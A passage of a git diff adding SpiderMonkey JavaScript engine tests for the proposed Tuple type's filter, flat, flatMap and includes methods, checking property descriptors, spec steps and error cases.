+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype.filter, "length");
+assertEq(desc.value, 1);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype.filter, "name");
+assertEq(desc.value, "filter");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype, "filter");
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.prototype.filter), false);
+
+assertThrowsInstanceOf(() => {
+ let t = #[1];
+ new t.filter();
+}, TypeError, '`let t = #[1]; new t.filter()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/flat/empty-tuple-elements.js b/js/src/tests/non262/Tuple/prototype/flat/empty-tuple-elements.js
new file mode 100644
index 0000000000..e8acef7b43
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/flat/empty-tuple-elements.js
@@ -0,0 +1,8 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var t = #[];
+assertEq(#[].flat(), #[]);
+assertEq(#[#[],#[]].flat(), #[]);
+assertEq(#[#[], #[1]].flat(), #[1]);
+assertEq(#[#[], #[1, t]].flat(), #[1, t]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/flat/flat.js b/js/src/tests/non262/Tuple/prototype/flat/flat.js
new file mode 100644
index 0000000000..93748f9c36
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/flat/flat.js
@@ -0,0 +1,96 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.3.16 Tuple.prototype.flat ( [ depth ] )
+When the flat method is called with zero or one arguments, the following steps are taken:
+
+1. Let T be ? thisTupleValue(this value).
+2. Let list be T.[[Sequence]].
+3. Let depthNum be 1.
+4. If depth is not undefined, then
+a. Set depthNum to ? ToInteger(depth).
+5. Let flat be a new empty List.
+6. Perform ? FlattenIntoTuple(flat, list, depthNum).
+7. Return a new Tuple value whose [[Sequence]] is flat.
+
+8.2.3.16.1 FlattenIntoTuple ( target, source, depth [ , mapperFunction, thisArg ] )
+The abstract operation FlattenIntoTuple takes arguments target, source, and depth and optional arguments mapperFunction and thisArg. It performs the following steps when called:
+
+1. Assert: target is a List.
+2. Assert: source is a List.
+3. Assert: ! IsInteger(depth) is true, or depth is either +∞ or -∞.
+4. Assert: If mapperFunction is present, then ! IsCallable(mapperFunction) is true, thisArg is present, and depth is 1.
+5. Let sourceIndex be 0.
+6. For each element of source,
+a. If mapperFunction is present, then
+i. Set element to ? Call(mapperFunction, thisArg, « element, sourceIndex, source »).
+ii. If Type(element) is Object, throw a TypeError exception.
+b. If depth > 0 and Type(element) is Tuple, then
+i. Perform ? FlattenIntoTuple(target, element, depth - 1).
+c. Else,
+i. Let len be the length of target.
+ii. If len ≥ 253 - 1, throw a TypeError exception.
+iii. Append element to target.
+d. Set sourceIndex to sourceIndex + 1.
+
+*/
+/* Step 1 */
+/* flat() should throw on a non-Tuple */
+let method = Tuple.prototype.flat;
+assertEq(method.call(#[1,#[2],3]), #[1,2,3]);
+assertEq(method.call(Object(#[1,#[2],3])), #[1,2,3]);
+assertThrowsInstanceOf(() => method.call("monkeys"), TypeError,
+ "value of TupleObject must be a Tuple");
+assertThrowsInstanceOf(() => method.call(null), TypeError,
+ "value of TupleObject must be a Tuple");
+assertThrowsInstanceOf(() => method.call(), TypeError,
+ "value of TupleObject must be a Tuple");
+
+
+let tup = #[1,2,#[3,#[4,5],6],#[5,6],7];
+let tup2 = #[1,2,#[3,#[4,#["a", "b"], 5],6],#[5,#[6,#[7,8,#[9,10]]]],7];
+
+/* Step 3 -- depth is converted to Integer */
+assertEq(tup.flat("monkeys"), tup.flat(0));
+assertEq(tup.flat({}), tup.flat(0));
+assertEq(tup.flat(+0), tup.flat(0));
+assertEq(tup.flat(-0), tup.flat(0));
+assertEq(tup.flat('2'), tup.flat(2));
+assertEq(tup.flat(true), tup.flat(1));
+assertEq(tup.flat(false), tup.flat(0));
+assertEq(tup.flat(null), tup.flat(0));
+assertEq(tup.flat(NaN), tup.flat(0));
+assertEq(tup.flat([1,2,3]), tup.flat(0));
+assertThrowsInstanceOf(() => tup.flat(Symbol("x")), TypeError,
+ "can't convert symbol to number");
+assertThrowsInstanceOf(() => tup.flat(Object.create(null)), TypeError,
+ "can't convert Object to number");
+assertThrowsInstanceOf(() => tup.flat(#[1]), TypeError,
+ "can't convert Tuple to number");
+
+
+/* Step 3 -- if depth is undefined, depthNum is set to 1 */
+assertEq(tup.flat(undefined), tup.flat(1));
+assertEq(tup.flat(), tup.flat(1));
+
+/* Step 7 */
+assertEq(#[].flat(), #[]);
+assertEq(#[1].flat(), #[1]);
+assertEq(#[#[1,2],#[3,4]].flat(), #[1,2,3,4]);
+assertEq(tup.flat(0), tup);
+assertEq(tup.flat(1), #[1,2,3,#[4,5],6,5,6,7]);
+assertEq(tup.flat(2), #[1,2,3,4,5,6,5,6,7]);
+assertEq(tup.flat(3), tup.flat(2));
+assertEq(tup2.flat(0), tup2);
+assertEq(tup2.flat(1), #[1,2,3,#[4,#["a", "b"], 5],6,5,#[6,#[7,8,#[9,10]]],7]);
+assertEq(tup2.flat(2), #[1,2,3,4,#["a", "b"],5,6,5,6,#[7, 8, #[9, 10]],7]);
+assertEq(tup2.flat(3), #[1,2,3,4,"a","b",5,6,5,6, 7, 8, #[9, 10], 7]);
+assertEq(tup2.flat(4), #[1,2,3,4,"a","b",5,6,5,6, 7, 8, 9, 10, 7]);
+
+/* FlattenIntoTuple steps: */
+/* Step 3: depth can be Infinity or -Infinity */
+assertEq(tup2.flat(Infinity), tup2.flat(4));
+assertEq(tup2.flat(-Infinity), tup2.flat(0));
+
+/* Step 6.c.ii. -- throw if len would be > n^253 - 1 -- not sure how to test this */
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/flat/indexed-setters.js b/js/src/tests/non262/Tuple/prototype/flat/indexed-setters.js
new file mode 100644
index 0000000000..26b77e03fd
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/flat/indexed-setters.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+// If an indexed Array setter is overridden, TupleSplice shouldn't use it
+// when constructing the intermediate array
+
+var z = 5;
+print("1111");
+Object.defineProperty(Array.prototype, '0', { set: function(y) { z = 42; }});
+print("2222");
+let newT = #[#[1],#[2,3]].flat();
+print("3333");
+assertEq(z, 5);
+print("4444");
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Tuple/prototype/flat/length.js b/js/src/tests/non262/Tuple/prototype/flat/length.js
new file mode 100644
index 0000000000..8bbbea0ae9
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/flat/length.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype.flat, "length");
+assertEq(desc.value, 0);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype.flat, "name");
+assertEq(desc.value, "flat");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype, "flat");
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.prototype.flat), false);
+
+assertThrowsInstanceOf(() => {
+ let t = #[1];
+ new t.flat();
+}, TypeError, '`let t = #[1]; new t.flat()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/flat/undefined-elements.js b/js/src/tests/non262/Tuple/prototype/flat/undefined-elements.js
new file mode 100644
index 0000000000..4a705167f5
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/flat/undefined-elements.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var t = #[void 0];
+
+assertEq(#[1, null, void 0].flat(), #[1, null, undefined]);
+assertEq(#[1, #[null, void 0]].flat(), #[1, null, undefined]);
+assertEq(#[#[null, void 0], #[null, void 0]].flat(), #[null, undefined, null, undefined]);
+assertEq(#[1, #[null, t]].flat(1), #[1, null, t]);
+assertEq(#[1, #[null, t]].flat(2), #[1, null, undefined]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/flatMap/depth-always-one.js b/js/src/tests/non262/Tuple/prototype/flatMap/depth-always-one.js
new file mode 100644
index 0000000000..2f3aed6e32
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/flatMap/depth-always-one.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+assertEq(#[1, 2].flatMap(function(e) {
+ return #[e, e * 2];
+}), #[1, 2, 2, 4]);
+
+var result = #[1, 2, 3].flatMap(function(ele) {
+ return #[
+ #[ele * 2]
+ ];
+});
+assertEq(result.length, 3);
+assertEq(result[0], #[2]);
+assertEq(result[1] ,#[4]);
+assertEq(result[2], #[6]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/flatMap/flatMap.js b/js/src/tests/non262/Tuple/prototype/flatMap/flatMap.js
new file mode 100644
index 0000000000..0fde7014a8
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/flatMap/flatMap.js
@@ -0,0 +1,114 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.3.17 Tuple.prototype.flatMap ( mapperFunction [ , thisArg ] )
+When the flatMap method is called with one or two arguments, the following steps are taken:
+
+1. Let T be ? thisTupleValue(this value).
+2. Let list be T.[[Sequence]].
+3. If ! IsCallable(mapperFunction) is false, throw a TypeError exception.
+4. Let flat be a new empty List.
+5. Perform ? FlattenIntoTuple(flat, list, 1, mapperFunction, thisArg).
+6. Return a new Tuple value whose [[Sequence]] is flat.
+
+8.2.3.16.1 FlattenIntoTuple ( target, source, depth [ , mapperFunction, thisArg ] )
+The abstract operation FlattenIntoTuple takes arguments target, source, and depth and optional arguments mapperFunction and thisArg. It performs the following steps when called:
+
+1. Assert: target is a List.
+2. Assert: source is a List.
+3. Assert: ! IsInteger(depth) is true, or depth is either +∞ or -∞.
+4. Assert: If mapperFunction is present, then ! IsCallable(mapperFunction) is true, thisArg is present, and depth is 1.
+5. Let sourceIndex be 0.
+6. For each element of source,
+a. If mapperFunction is present, then
+i. Set element to ? Call(mapperFunction, thisArg, « element, sourceIndex, source »).
+ii. If Type(element) is Object, throw a TypeError exception.
+b. If depth > 0 and Type(element) is Tuple, then
+i. Perform ? FlattenIntoTuple(target, element, depth - 1).
+c. Else,
+i. Let len be the length of target.
+ii. If len ≥ 253 - 1, throw a TypeError exception.
+iii. Append element to target.
+d. Set sourceIndex to sourceIndex + 1.
+ */
+
+/* Step 1 */
+/* flatMap() should throw on a non-Tuple */
+let method = Tuple.prototype.flatMap;
+let id = x => x;
+assertEq(method.call(#[1,#[2],3], id), #[1,2,3]);
+assertEq(method.call(Object(#[1,#[2],3]), id), #[1,2,3]);
+assertThrowsInstanceOf(() => method.call("monkeys", id), TypeError,
+ "value of TupleObject must be a Tuple");
+assertThrowsInstanceOf(() => method.call(null, id), TypeError,
+ "value of TupleObject must be a Tuple");
+assertThrowsInstanceOf(() => method.call(id), TypeError,
+ "value of TupleObject must be a Tuple");
+
+
+let tup = #[1,2,#[3,#[4,5],6],#[5,6],7];
+let tup2 = #[1, #[2], 3];
+
+/* Step 4 */
+/* callbackfn not callable -- should throw */
+assertThrowsInstanceOf(() => tup.flatMap(), TypeError,
+ "missing function argument to Tuple.prototype.flatMap");
+assertThrowsInstanceOf(() => tup.flatMap(undefined), TypeError,
+ "missing function argument to Tuple.prototype.flatMap");
+assertThrowsInstanceOf(() => tup.flatMap("monkeys"), TypeError,
+ "bad function argument to Tuple.prototype.flatMap");
+
+
+/* callbackfn with 1 argument -- should be allowed */
+var f2 = function(x) {
+ if (typeof(x) === "number") {
+ return(x * x);
+ } else {
+ return 0;
+ }
+};
+assertEq(tup2.flatMap(f2), #[1, 0, 9]);
+
+/* callbackfn with 2 arguments -- should be allowed */
+f2 = function(x, i) {
+ if (typeof(x) === "number") {
+ return(x + i);
+ } else {
+ return(i);
+ }
+};
+assertEq(tup2.flatMap(f2), #[1, 1, 5]);
+
+/* callbackfn with > 3 arguments -- subsequent ones will be undefined */
+var f3 = (a, b, c, d, e) => e === undefined;
+assertEq(tup2.flatMap(f3), #[true, true, true]);
+
+/* callbackfn should be able to use index and tuple */
+var f4 = function (x, i, tup) {
+ if (typeof(x) === "number") {
+ return(tup.indexOf(x+1) * i * x);
+ } else {
+ return(tup.indexOf(x) * i);
+ }
+}
+assertEq(tup2.flatMap(f4), #[-0, 1, -6]);
+
+/* explicit thisArg */
+f1 = function (x, i, tup) {
+ if (typeof(x) == "number") {
+ return(this.elements.indexOf(x) * x);
+ } else {
+ return(this.elements.indexOf(x));
+ }
+}
+assertEq(#[1,2,#[3,4],#[5]].flatMap(f1, { elements: [2, 4] }), #[-1, 0, -1, -1]);
+
+/* FlattenIntoTuple steps */
+/* Step 6.a.ii. */
+var badF = x => new Object(x);
+assertThrowsInstanceOf(() => tup.flatMap(badF), TypeError,
+ "Tuple cannot contain Object");
+/* Step 6.b.i. */
+var f = x => #[x, x];
+assertEq(#[1,#[2,3],4].flatMap(f), #[1,1,#[2,3],#[2,3],4,4]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/flatMap/length.js b/js/src/tests/non262/Tuple/prototype/flatMap/length.js
new file mode 100644
index 0000000000..4e6f5eb0ab
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/flatMap/length.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype.flatMap, "length");
+assertEq(desc.value, 1);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype.flatMap, "name");
+assertEq(desc.value, "flatMap");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype, "flatMap");
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.prototype.flatMap), false);
+
+assertThrowsInstanceOf(() => {
+ let t = #[1];
+ new t.flatMap();
+}, TypeError, '`let t = #[1]; new t.flatMap()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/fromIndex-equal-or-greater-length-returns-false.js b/js/src/tests/non262/Tuple/prototype/includes/fromIndex-equal-or-greater-length-returns-false.js
new file mode 100644
index 0000000000..6108e38cbc
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/fromIndex-equal-or-greater-length-returns-false.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Return false if fromIndex >= TupleLength
+---*/
+
+var sample = #[7, 7, 7, 7];
+assertEq(sample.includes(7, 4), false, "length");
+assertEq(sample.includes(7, 5), false, "length + 1");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/fromIndex-infinity.js b/js/src/tests/non262/Tuple/prototype/includes/fromIndex-infinity.js
new file mode 100644
index 0000000000..3ed0c3b43c
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/fromIndex-infinity.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+esid: sec-array.prototype.includes
+description: handle Infinity values for fromIndex
+---*/
+
+var sample = #[42, 43, 43, 41];
+
+assertEq(
+ sample.includes(43, Infinity),
+ false,
+ "includes(43, Infinity)"
+);
+assertEq(
+ sample.includes(43, -Infinity),
+ true,
+ "includes(43, -Infinity)"
+);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/fromIndex-minus-zero.js b/js/src/tests/non262/Tuple/prototype/includes/fromIndex-minus-zero.js
new file mode 100644
index 0000000000..23ebaf8346
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/fromIndex-minus-zero.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+esid: sec-array.prototype.includes
+description: -0 fromIndex becomes 0
+info: |
+ 22.1.3.11 Array.prototype.includes ( searchElement [ , fromIndex ] )
+
+ ...
+ 5. If n ≥ 0, then
+ a. Let k be n.
+ ...
+ 7. Repeat, while k < len
+ ...
+---*/
+
+var sample = [42, 43];
+assertEq(sample.includes(42, -0), true, "-0 [0]");
+assertEq(sample.includes(43, -0), true, "-0 [1]");
+assertEq(sample.includes(44, -0), false, "-0 [2]");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/includes.js b/js/src/tests/non262/Tuple/prototype/includes/includes.js
new file mode 100644
index 0000000000..26ef2bfb03
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/includes.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.3.7 Tuple.prototype.includes ( searchElement [ , fromIndex ] )
+Tuple.prototype.includes is a distinct function that implements the same algorithm as Array.prototype.includes as defined in 22.1.3.13 except that ? thisTupleValue(this value) is used instead of directly accessing the this value. The implementation of the algorithm may be optimized with the knowledge that the this value is an object that has a fixed length and whose integer-indexed properties are not sparse, do not change, and their access is not observable. However, such optimization must not introduce any observable changes in the specified behaviour of the algorithm.
+
+This function is not generic, since thisTupleValue(this value) can return an abrupt completion: in that case, that exception is thrown instead of evaluating the algorithm.
+*/
+
+/* Step 1 */
+/* includes() should throw on a non-Tuple */
+let method = Tuple.prototype.includes;
+assertEq(method.call(#[1,2,3,4,5,6], 2), true);
+assertEq(method.call(Object(#[1,2,3,4,5,6]), 2), true);
+assertThrowsInstanceOf(() => method.call("monkeys", 2), TypeError,
+ "value of TupleObject must be a Tuple");
+
+/* Not sure what else to test, since it just calls the array method */
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/length-internal.js b/js/src/tests/non262/Tuple/prototype/includes/length-internal.js
new file mode 100644
index 0000000000..a199884f00
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/length-internal.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/* Tuples should have a length ownProperty that can't be overridden, which will
+ * be read by any built-in methods called on Tuples.
+ * This test is expected to fail until the spec change in
+ * https://github.com/tc39/proposal-record-tuple/issues/282 is implemented.
+ */
+
+/*
+t = #[1,2,3];
+Object.defineProperty(Tuple.prototype, "length", {value: 0});
+assertEq(t.includes(2), true);
+*/
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/length-zero-returns-false.js b/js/src/tests/non262/Tuple/prototype/includes/length-zero-returns-false.js
new file mode 100644
index 0000000000..b72397d8f3
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/length-zero-returns-false.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Returns false if length is 0
+ ...
+---*/
+
+var calls = 0;
+var fromIndex = {
+ valueOf: function() {
+ calls++;
+ }
+};
+
+var sample = #[];
+assertEq(sample.includes(0), false, "returns false");
+assertEq(sample.includes(), false, "returns false - no arg");
+assertEq(sample.includes(0, fromIndex), false, "using fromIndex");
+assertEq(calls, 0, "length is checked before ToInteger(fromIndex)");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/length.js b/js/src/tests/non262/Tuple/prototype/includes/length.js
new file mode 100644
index 0000000000..b8a60b837c
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/length.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype.includes, "length");
+assertEq(desc.value, 1);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype.includes, "name");
+assertEq(desc.value, "includes");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype, "includes");
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.prototype.includes), false);
+
+assertThrowsInstanceOf(() => {
+ let t = #[1];
+ new t.includes();
+}, TypeError, '`let t = #[1]; new t.includes()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/name.js b/js/src/tests/non262/Tuple/prototype/includes/name.js
new file mode 100644
index 0000000000..df6537a3b4
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/name.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.includes.name is "includes".
+---*/
+
+assertEq(Tuple.prototype.includes.name, "includes");
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype.includes, "name");
+
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/no-arg.js b/js/src/tests/non262/Tuple/prototype/includes/no-arg.js
new file mode 100644
index 0000000000..83fee6722c
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/no-arg.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: no argument searches for a undefined value
+---*/
+
+assertEq(#[0].includes(), false, "#[0].includes()");
+assertEq(#[undefined].includes(), true, "#[undefined].includes()");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/not-a-constructor.js b/js/src/tests/non262/Tuple/prototype/includes/not-a-constructor.js
new file mode 100644
index 0000000000..e60846e70a
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/not-a-constructor.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2020 Rick Waldron. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: >
+ Tuple.prototype.includes does not implement [[Construct]], is not new-able
+---*/
+
+assertEq(
+ isConstructor(Tuple.prototype.includes),
+ false,
+ 'isConstructor(Tuple.prototype.includes) must return false'
+);
+
+assertThrowsInstanceOf(() => new Tuple.prototype.includes(1),
+ TypeError, '`new Tuple.prototype.includes(1)` throws TypeError');
+
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/prop-desc.js b/js/src/tests/non262/Tuple/prototype/includes/prop-desc.js
new file mode 100644
index 0000000000..4dcd03d64c
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/prop-desc.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+/*---
+description: >
+ "includes" property of Tuple.prototype
+---*/
+
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype, "includes");
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/return-abrupt-get-length.js b/js/src/tests/non262/Tuple/prototype/includes/return-abrupt-get-length.js
new file mode 100644
index 0000000000..169a4318d8
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/return-abrupt-get-length.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+esid: sec-array.prototype.includes
+description: Return abrupt from Get(O, "length")
+info: |
+ 22.1.3.11 Array.prototype.includes ( searchElement [ , fromIndex ] )
+
+ ...
+ 2. Let len be ? ToLength(? Get(O, "length")).
+ ...
+---*/
+
+var obj = {};
+
+Object.defineProperty(obj, "length", {
+ get: function() {
+ throw new Test262Error();
+ }
+});
+
+assertThrowsInstanceOf(() => #[].includes.call(obj, 7), TypeError,
+ "value of TupleObject must be a tuple");
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/return-abrupt-tointeger-fromindex-symbol.js b/js/src/tests/non262/Tuple/prototype/includes/return-abrupt-tointeger-fromindex-symbol.js
new file mode 100644
index 0000000000..9f6a0f5938
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/return-abrupt-tointeger-fromindex-symbol.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Return abrupt from ToInteger(fromIndex) - using symbol
+---*/
+
+var fromIndex = Symbol("1");
+
+var sample = #[7];
+
+assertThrowsInstanceOf(() => sample.includes(7, fromIndex), TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/return-abrupt-tointeger-fromindex.js b/js/src/tests/non262/Tuple/prototype/includes/return-abrupt-tointeger-fromindex.js
new file mode 100644
index 0000000000..2d8ec0ee87
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/return-abrupt-tointeger-fromindex.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Return abrupt from ToInteger(fromIndex)
+---*/
+
+function TestError() {};
+
+var fromIndex = {
+ valueOf: function() {
+ throw new TestError();
+ }
+};
+
+var sample = #[7];
+
+assertThrowsInstanceOf(() => sample.includes(7, fromIndex), TestError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/return-abrupt-tonumber-length-symbol.js b/js/src/tests/non262/Tuple/prototype/includes/return-abrupt-tonumber-length-symbol.js
new file mode 100644
index 0000000000..f94fde9772
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/return-abrupt-tonumber-length-symbol.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: Return abrupt from ToNumber(symbol "length")
+---*/
+
+var obj = {
+ length: Symbol("1")
+};
+
+assertThrowsInstanceOf(() => #[].includes.call(obj, 7), TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/samevaluezero.js b/js/src/tests/non262/Tuple/prototype/includes/samevaluezero.js
new file mode 100644
index 0000000000..c8dbe08c14
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/samevaluezero.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: search element is compared using SameValueZero
+---*/
+
+var sample = #[42, 0, 1, NaN];
+assertEq(sample.includes("42"), false);
+assertEq(sample.includes([42]), false);
+assertEq(sample.includes(#[42]), false);
+assertEq(sample.includes(42.0), true);
+assertEq(sample.includes(-0), true);
+assertEq(sample.includes(true), false);
+assertEq(sample.includes(false), false);
+assertEq(sample.includes(null), false);
+assertEq(sample.includes(""), false);
+assertEq(sample.includes(NaN), true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/includes/search-found-returns-true.js b/js/src/tests/non262/Tuple/prototype/includes/search-found-returns-true.js
new file mode 100644
index 0000000000..0084583591
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/includes/search-found-returns-true.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+// Copyright (C) 2016 the V8 project authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/*---
+description: returns true for found index
+---*/
+
+var symbol = Symbol("1");
+var tuple = #[];
+var record = #{};
+
+var sample = #[42, "test262", null, undefined, true, false, 0, -1, "", symbol, tuple, record];
+
